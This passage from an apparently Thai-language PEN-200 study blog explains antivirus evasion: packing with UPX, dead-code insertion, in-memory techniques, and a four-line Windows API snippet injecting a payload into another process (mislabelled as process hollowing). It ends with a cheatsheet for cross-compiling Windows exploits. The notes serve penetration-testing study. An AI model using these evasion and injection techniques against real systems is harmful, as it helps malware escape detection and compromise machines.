- Polymorphic Malware: เป็นการ Encrypts Payload ไว้และ Decrypts ตัวเอง(Payload)เมื่อเปิดการทำงาน
- Code Injection: ทำการ Inject หรือแนบ Code ที่เป็นอันตรายไปใน Process ที่ไม่โดนมองว่าเป็นอันตราย
Bypassing Antivirus Detection
ผู้โจมตีนั้นมีการใช้เทคนิคที่หลากหลายในการหลบหลีกการโดนตรวจจับจาก Antivirus หรือระบบความปลอดภัยอื่นๆ โดยเรานั้นสามารถแบ่งประเภทการหลบหลีกการโดนตรวจจับออกได้เป็น 2 ประเภทหลักๆ คือ:
- On-Disk Evasion
- In-Memory Evasion
On-Disk Evasion:
โดยเทคนิค On-Disk Evasion นั้นจะมุ่งเน้นไปที่การแก้ไขแก้ที่ตัว Malware หรือ Threat อื่นๆเพื่อไม่ให้ไปเปิดการทำการงานหรือโดนตรวจเจอโดยการสแกนของ Antivirus
เทคนิคที่พบได้บ่อยในการหลบหลีกแบบ On-Disk Evasion:
เทคนิค | คำอธิบาย |
---|---|
Packers | ทำการบีบอัดและ Encrypt ไฟล์ Executable (อาทิเช่น .exe) เพื่อป้องกันการตรวจจับผ่าน Signature |
UPX (Ultimate Packer for Executables) | เป็น Packer Open-source ที่ได้รับความนิยมเพื่อปกปิด Malware (ข้อมูลเพิ่มเติม: https://upx.github.io/) |
Dead Code Insertion | ทำการเพิ่ม Junk Code หรือ Code ที่ไม่จำเป็นหรือไม่ได้ยุ่งเกี่ยวกับการทำงานเพื่อให้เมื่อทำการ Hash ไฟล์ออกมาเป็น Signature แล้วจะไม่ Match กับ Signature ภายใน Database |
The Enigma Protector | เป็นซอฟต์แวร์ Packer ที่ต้องซื้อหรือ Commercial Packer นั่นเอง |
- ตัวอย่างการ Packing ไฟล์ Executable โดย UPX:
C:\\Users\\pentester\\Desktop>upx.exe sample_program.exe -o sample_program_packed.exe
Ultimate Packer for eXecutables
Copyright (C) 1996- 2024
Markus Oberhumer, Laszlo Molnar & John Reiser
May 9th 2024
Filesize Ratio Format Name
---------------- --------- ---------- --------------------------
55948-> 41100 73.46% win64/pe sample_program_packed.exe
Packed 1 file.
- ซึ่งจะเห็นได้ว่าไฟล์มีขนาดลดลงเหลือเพียง 73.46%จากต้นฉบับ ซึ่งทำให้ยากต่อตรวจจับแบบ Signature-Basedโดย Antivirus นั่นเอง
In-Memory Evasion:
โดยเทคนิค In-Memory Evasion นั้นจะมุ่งเน้นไปที่การ Execute ไฟล์ Threat ใน RAM แทนที่จะเขียนลงไปใน Disk ซึ่งทำให้ตรวจจับได้ยากจาก Antivirus เทคนิคที่พบได้บ่อยในการหลบหลีกแบบ In-Memory Evasion:
เทคนิค | คำอธิบาย |
---|---|
PE Injection | Inject หรือแนบ Portable Executable(PE) ไปกับ Process อื่นๆ |
Reflective DLL Injection | โหลดไฟล์ DLL ไปใน Memory โดยไม่ยุ่งกับ Disk |
Process Hollowing | ทำการแทนที่ Process ที่ถูกมองว่าปลอดภัยด้วย Code ที่เป็นอันตราย |
-
Windows API ที่ถูกเรียกใช้เมื่อทำ Process Hollowing:
- OpenProcess()> ใช้เพื่อ Handle Process ของเป้าหมาย
- VirtualAllocEx() > จัดเตรียม Memory ภายใน Process ของเป้าหมาย
- WriteProcessMemory()> เขียน Shellcode ภายใน Memory ที่จัดเตรียมไว้
- CreateRemoteThread()> สร้าง Thread เพื่อสั่งการทำงาน Payload
-
ตัวอย่างการทำ Process Hollowing ด้วย Windows APIs:
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // Line 1
LPVOID pAddress = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // Line 2
WriteProcessMemory(hProcess, pAddress, payload, payloadSize, NULL); // Line 3
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pAddress, NULL, 0, NULL); // Line 4
คำอธิบาย:
- OpenProcess() (Line 1):
- เป็นการเปิด Handle ใน Process ของเป้าหมายโดยระบุ pid
- ซึ่งทำให้ผู้โจมตีสามารถแก้ Memory ภายใน Process ได้
- โดยที่ Flag “PROCESS_ALL_ACCESS” นั้นทำให้ได้สิทธิ์แบบทั่วถึงหรือ Full Permission ในการ Manipulate หรือย้าย Process
- VirtualAllocEx() (Line 2):
- จัดเตรียม Memory ใหม่ภายใน Process ของเป้าหมาย
- “MEM_COMMIT” เป็นการยืนยันว่า Memory ถูกจัดเตรียมและพร้อมใช้งาน
- “PAGE_EXECUTE_READWRITE” ทำให้ Payload ของผู้โจมตีนั้นทำงานได้(Executable)
- WriteProcessMemory() (Line 3):
- ทำการเขียน Payload ที่เป็นอันตรายทับไปยัง Memory ที่จัดเตรียมไว้
- CreateRemoteThread() (Line 4):
- สร้าง Thread ใหม่ภายใน Process ของเป้าหมาย
- โดยที่ Thread จะค่อยเป็นตัวสั่งการทำงานของ Payload ซึ่งทำให้ Process ที่ไม่โดนมองว่าอันตรายเป็นที่ Run Code ที่เป็นอันตรายของผู้โจมตี
Wrapping Up
และตอนนี้ผมคิดว่านี่เป็นเวลาและเนื้อหาอันเหมาะสมที่จะจบ Part นี้ของเรา ซึ่งใน Part นี้ก็ได้ครอบคลุมในเนื้อหาเชิงเทคนิคหลายๆอย่าง โดยที่ประกอบไปด้วย Fixing Exploit ทั้งในรูปแบบของ Fixing Memory Corruption Exploit และ Fixing Web Exploit และ Antivirus Evasion โดยครอบคลุมไปถึงขั้นตอน องค์ประกอบ วิธีการ และประเภทของสิ่งต่างๆภายในบท
ถ้าคุณผู้อ่านท่านใดที่อ่านมาถึงจุดนี้หรือไม่ถึงก็ตาม ตัวผมนั้นก็ขอขอบคุณเป็นอย่างยิ่งและก็หวังเป็นอย่างมากว่าคุณผู้อ่านจะได้พบกับสิ่งที่ตัวเองตามหาไม่มากก็น้อยใน blog หรือบทความนี้และต่อๆไป
และเช่นเดิม ใน blog หน้าจะเป็นเนื้อหาในบทต่อๆไปที่เราจะต้องเจอในคอร์ส Offsec Pen-200. Stay Tuned, Stay Safe, Try Harder!, until next time สวัสดีครับ
สำหรับผู้ที่สนใจ Cheatsheet
สามารถดูต่อด้านล่างได้เลยครับผม 🙂🙏
(แต่เนื่องด้วยเนื้อหาจาก Part นี้นั้นมี Command หรือคำสั่งค่อนข้างน้อยหรือเรียกว่าไม่มีเลยก็ว่าได้ ผมจึงทำการแนบเป็น Source เล็กน้อยเพิ่มเติมมาให้นะครับผม)
Command Cheatsheet with Additional Description
CC_Fixing Exploit(การแก้ Exploit)
- Install the Compiler:
kali@kali:~$ sudo apt install mingw-w64
- Compile:
- 32-bit Windows Binary Compatible:
kali@kali:~$ i686-w64-mingw32-gcc-o exploit.exe exploit.c -lws2_32
- 64-bit Windows Binary Compatible:
kali@kali:~$ x86_64-w64-mingw32-gcc-o exploit.exe exploit.c -lws2_32
CC_Antivirus Evasion(การหลบหลีกโปรแกรม Antivirus)
อย่างที่คุณผู้อ่านน่าจะทราบกันดีแล้วจากเนื้อหาในบทนี้แล้วว่า เราสามารถตรวจสอบไฟล์ด้วย VirusTotal ได้ซึ่งเรายังมีเครื่องมือที่ใช้ในการวิเคราะห์ไฟล์ได้อีกอย่างคือ https://antiscan.me/
ก็จบลงไปจริงๆแล้วครับสำหรับ blog นี้ ตัวผมหวังเป็นอย่างยิ่งว่าคุณผู้อ่านทุกท่านจะได้ประโยชน์กลับไปไม่มากก็น้อย แล้วพบกันใหม่ใน blog หน้า See you soon ครับผม สวัสดีครับ 🙂🙏
อ่าน Part 2 : Information Gathering
อ่าน Part 3 : Vulnerability Scanning & Basic Web Attacks